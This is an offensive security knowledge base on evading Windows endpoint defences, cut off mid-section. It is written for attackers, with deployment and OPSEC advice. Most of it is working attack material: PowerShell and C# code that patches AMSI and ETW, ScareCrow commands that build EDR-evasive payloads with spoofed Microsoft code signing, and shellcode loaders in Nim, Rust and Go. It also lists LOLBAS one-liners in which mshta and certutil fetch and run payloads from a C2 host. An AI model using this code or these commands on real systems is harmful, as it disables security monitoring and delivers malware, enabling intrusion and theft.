defense-evasion

# Defense Evasion Knowledge Base Defense evasion techniques disable, bypass, or avoid endpoint security controls (AV, EDR, AMSI, ETW) to ensure payloads execute and implants persist without detection. Every technique here has a shelf life --- detections evolve constantly. Always test against the target's specific stack before deployment. ## Quick Reference | Task | Technique | Risk Level | |------|-----------|------------| | Disable AMSI | Memory patch `AmsiScanBuffer` | Medium | | Disable AMSI (stealthier) | Hardware breakpoint on `AmsiScanBuffer` | Low | | Disable ETW | Patch `EtwEventWrite` | Medium | | Unhook EDR DLLs | ScareCrow / manual ntdll reload | High | | Generate evasive payload | ScareCrow with AES encryption | Medium | | Execute via LOLBAS | mshta, certutil, rundll32, regsvr32 | Varies | | Process injection | Process hollowing, early bird | High | | Custom loader | Nim/Rust/Go shellcode runner | Low-Medium | ## MITRE ATT&CK Mapping | Technique ID | Name | Evasion Relevance | |-------------|------|-------------------| | T1562 | Impair Defenses | AMSI/ETW patching, disabling logging | | T1027 | Obfuscated Files or Information | AES-encrypted shellcode, encoding | | T1055 | Process Injection | Hollowing, APC injection, thread hijack | | T1218 | System Binary Proxy Execution | LOLBAS (mshta, rundll32, regsvr32) | | T1036 | Masquerading | Spoofed code signing, renamed binaries | | T1140 | Deobfuscate/Decode Files | Runtime decryption of payloads | ## 1. AMSI Bypass Techniques ### Memory Patching (AmsiScanBuffer) ```powershell # Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN # This patches the first bytes of AmsiScanBuffer with a return instruction $patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) $amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') $field = $amsi.GetField('amsiContext', 'NonPublic,Static') $ptr = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($field.GetValue($null)) # Get AmsiScanBuffer address $lib = [System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory() $addr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer") # Change memory protection, write patch, restore protection [Win32]::VirtualProtect($addr, [uint32]$patch.Length, 0x40, [ref]0) [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, $patch.Length) ``` ### Hardware Breakpoint Method (Stealthier) ```csharp // Set hardware breakpoint on AmsiScanBuffer // When hit, modify return value via exception handler // Does NOT modify memory — avoids integrity checks // 1. Register Vectored Exception Handler (VEH) // 2. Set DR0 = address of AmsiScanBuffer // 3. Set DR7 to enable breakpoint on execution // 4. On exception: set RAX = AMSI_RESULT_CLEAN, advance RIP past function // 5. Continue execution // Advantage: No memory patches detectable by EDR memory scanning // Disadvantage: DR registers are per-thread, must set for each thread ``` ### Reflection Method ```powershell # Use reflection to set amsiInitFailed = true # Prevents AMSI initialization in the current process [Ref].Assembly.GetType( 'System.Management.Automation.AmsiUtils' ).GetField( 'amsiInitFailed', 'NonPublic,Static' ).SetValue($null, $true) ``` ### AMSI Bypass OPSEC Notes | Method | Detectable By | OPSEC Rating | |--------|--------------|--------------| | Memory patch | EDR memory scanning, Integrity checks | Medium | | Hardware breakpoint | Thread context inspection (rare) | High | | Reflection (amsiInitFailed) | Script block logging, known signature | Low | | Forcing AMSI error | Process monitor, event correlation | Medium | ## 2. ETW Patching ### Patching EtwEventWrite ```csharp // Patch ntdll!EtwEventWrite to return immediately (ret = 0xC3) // This disables Event Tracing for Windows in the current process // Prevents .NET assembly loading events, PowerShell logging, etc. IntPtr etwAddr = GetProcAddress( GetModuleHandle("ntdll.dll"), "EtwEventWrite" ); // Write 'ret' instruction (0xC3) at function entry uint oldProtect; VirtualProtect(etwAddr, 1, 0x40, out oldProtect); Marshal.WriteByte(etwAddr, 0xC3); VirtualProtect(etwAddr, 1, oldProtect, out oldProtect); ``` ### What ETW Patching Disables - .NET assembly load events (used by EDR to detect execute-assembly) - PowerShell ScriptBlock logging - Process creation events via ETW providers - Network connection telemetry from userland ### ETW OPSEC Notes - Patch BEFORE loading any tools or assemblies - Some EDRs monitor `EtwEventWrite` integrity --- pair with unhooking - Kernel-level ETW (via ETW Threat Intelligence provider) is NOT affected by userland patches - Consider patching `NtTraceEvent` as well for deeper coverage ## 3. ScareCrow Framework ### Overview ScareCrow generates payloads that bypass EDR by unhooking userland API hooks, using direct syscalls, and applying AES encryption with spoofed code signing certificates. ### Basic Payload Generation ```bash # Generate EDR-evasive loader with AES-encrypted shellcode ScareCrow -I implants/shellcode.bin \ -Loader binary \ -domain microsoft.com \ -encryptionmode AES \ -o implants/evasive_payload.exe # DLL output (for sideloading) ScareCrow -I implants/shellcode.bin \ -Loader dll \ -domain microsoft.com \ -encryptionmode AES \ -o implants/evasive_payload.dll # Control process for injection ScareCrow -I implants/shellcode.bin \ -Loader binary \ -domain microsoft.com \ -injection "C:\\Windows\\System32\\notepad.exe" \ -encryptionmode AES \ -o implants/injected_payload.exe ``` ### ScareCrow Features | Feature | Flag | Description | |---------|------|-------------| | EDR unhooking | (default) | Loads clean ntdll.dll from disk, replaces hooked copy | | AES encryption | `-encryptionmode AES` | Encrypts shellcode, decrypts at runtime | | Code signing spoof | `-domain microsoft.com` | Spoofs authenticode signature from specified domain | | Process injection | `-injection <path>` | Injects into specified sacrificial process | | DLL loader | `-Loader dll` | Output as DLL for sideloading scenarios | | Console hiding | `-console` | Hides console window on execution | | Sandbox evasion | `-sandbox` | Adds anti-sandbox checks (sleep, mouse, CPU) | ### Code Signing Spoofing ```bash # Spoof Microsoft code signing cert ScareCrow -I shellcode.bin -domain microsoft.com -Loader binary -o payload.exe # Spoof any vendor ScareCrow -I shellcode.bin -domain adobe.com -Loader binary -o payload.exe # How it works: # 1. Fetches the real SSL certificate from the target domain # 2. Creates a self-signed certificate using the same subject/issuer fields # 3. Signs the binary with this spoofed certificate # 4. Many EDRs only check if a cert is present, not full chain validation ``` ## 4. Custom Loaders All loaders follow the same pattern: decrypt shellcode at runtime, allocate RW memory, copy shellcode, change to RX, execute via thread. ### Nim Shellcode Loader ```nim # Compile: nim c -d:mingw -d:release --app:gui nim_loader.nim import winim/lean const encShellcode: array[N, byte] = [ # <ENCRYPTED_SHELLCODE_BYTES> ] const key: array[16, byte] = [ # <KEY_BYTES> ] proc main() = var shellcode = newSeq[byte](encShellcode.len) for i in 0..<encShellcode.len: shellcode[i] = encShellcode[i] xor key[i mod key.len] let mem = VirtualAlloc(nil, shellcode.len, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE) copyMem(mem, unsafeAddr shellcode[0], shellcode.len) var oldProtect: DWORD VirtualProtect(mem, shellcode.len, PAGE_EXECUTE_READ, addr oldProtect) WaitForSingleObject(CreateThread(nil, 0, cast[LPTHREAD_START_ROUTINE](mem), nil, 0, nil), INFINITE) main() ``` ### Rust Shellcode Loader ```rust // Build: cargo build --release --target x86_64-pc-windows-gnu #![windows_subsystem = "windows"] use std::ptr; use windows_sys::Win32::System::Memory::*; use windows_sys::Win32::System::Threading::*; const ENC_SC: &[u8] = &[ /* <ENCRYPTED_SHELLCODE_BYTES> */ ]; const KEY: &[u8] = &[ /* <KEY_BYTES> */ ]; fn main() { let sc: Vec<u8> = ENC_SC.iter().enumerate().map(|(i, b)| b ^ KEY[i % KEY.len()]).collect(); unsafe { let mem = VirtualAlloc(ptr::null(), sc.len(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ptr::copy_nonoverlapping(sc.as_ptr(), mem as *mut u8, sc.len()); let mut op: u32 = 0; VirtualProtect(mem, sc.len(), PAGE_EXECUTE_READ, &mut op); WaitForSingleObject( CreateThread(ptr::null(), 0, Some(std::mem::transmute(mem)), ptr::null(), 0, ptr::null_mut()), 0xFFFFFFFF); } } ``` ### Go Shellcode Loader ```go // Build: GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -H windowsgui" go_loader.go package main import ("syscall"; "unsafe") var encSC = []byte{ /* <ENCRYPTED_SHELLCODE_BYTES> */ } var key = []byte{ /* <KEY_BYTES> */ } func main() { sc := make([]byte, len(encSC)) for i := range encSC { sc[i] = encSC[i] ^ key[i%len(key)] } k32 := syscall.MustLoadDLL("kernel32.dll") addr, _, _ := k32.MustFindProc("VirtualAlloc").Call(0, uintptr(len(sc)), 0x3000, 0x40) syscall.MustLoadDLL("ntdll.dll").MustFindProc("RtlCopyMemory").Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc))) t, _, _ := k32.MustFindProc("CreateThread").Call(0, 0, addr, 0, 0, 0) k32.MustFindProc("WaitForSingleObject").Call(t, 0xFFFFFFFF) } ``` ### Loader OPSEC Comparison | Language | Binary Size | AV Detection Rate | Notes | |----------|-------------|-------------------|-------| | Nim | ~50-100 KB | Low | Small, good Win API bindings | | Rust | ~150-300 KB | Low | Strong type safety, no runtime | | Go | ~2-5 MB | Low-Medium | Larger binary, distinct import table | | C/C++ | ~10-50 KB | Medium | Well-known patterns, heavily signatured | | C# | ~10-30 KB | High | .NET metadata, AMSI applies | ## 5. Direct & Indirect Syscalls ### Concept Syscalls bypass userland API hooks placed by EDR on ntdll.dll functions. Instead of calling `NtAllocateVirtualMemory` through the hooked ntdll export, the code directly invokes the syscall instruction with the correct System Service Number (SSN). ### Direct Syscalls ``` Normal API Call Flow (hooked by EDR): Code → kernel32.dll → ntdll.dll [HOOKED] → syscall Direct Syscall Flow (bypasses hooks): Code → syscall instruction (SSN resolved at runtime) ``` ### Indirect Syscalls ``` Indirect Syscall Flow (stealthier): Code → jump to 'syscall' instruction inside ntdll.dll (Return address points to ntdll.dll, not our code) Advantage: Call stack looks legitimate to EDR stack inspection ``` ### SSN Resolution Methods | Method | Description | OPSEC | |--------|-------------|-------| | Hardcoded | SSNs baked into binary (version-specific) | Brittle, easy to detect | | Halo's Gate | Scan neighboring ntdll exports for unhooked SSNs | Medium | | Hell's Gate | Parse ntdll in memory to find SSNs | Medium | | Tartarus' Gate | Handle both hooked and unhooked neighbors | High | | FreshyCalls | Sort Zw* exports by address to derive SSNs | High | | SysWhispers3 | Generates syscall stubs with multiple techniques | Medium-High | ### Tools ```bash # SysWhispers3 — generate syscall stubs python3 syswhispers.py --preset common -o syscalls/ # Output: syscalls.h, syscalls.c, syscalls-asm.x64.asm # Integrate into C/C++ loader project ``` ## 6. LOLBAS (Living Off the Land Binaries and Scripts) ### mshta.exe (T1218.005) ```bash # Execute HTA payload mshta.exe http://<C2_HOST>/payload.hta # Inline VBScript execution mshta.exe vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -ep bypass -f \\<C2>\share\payload.ps1"", 0:close") # OPSEC: mshta.exe spawning child processes is heavily monitored ``` ### certutil.exe (T1140) ```bash # Download file (encoded transfer) certutil.exe -urlcache -split -f http://<C2_HOST>/payload.exe C:\Windows\Temp\payload.exe # Base64 decode a payload certutil.exe -decode C:\Windows\Temp\encoded.b64 C:\Windows\Temp\payload.exe # OPSEC: certutil network connections are high-fidelity alerts ``` ### rundll32.exe (T1218.011) ```bash # Execute DLL export rundll32.exe payload.dll,EntryPoint # Execute JavaScript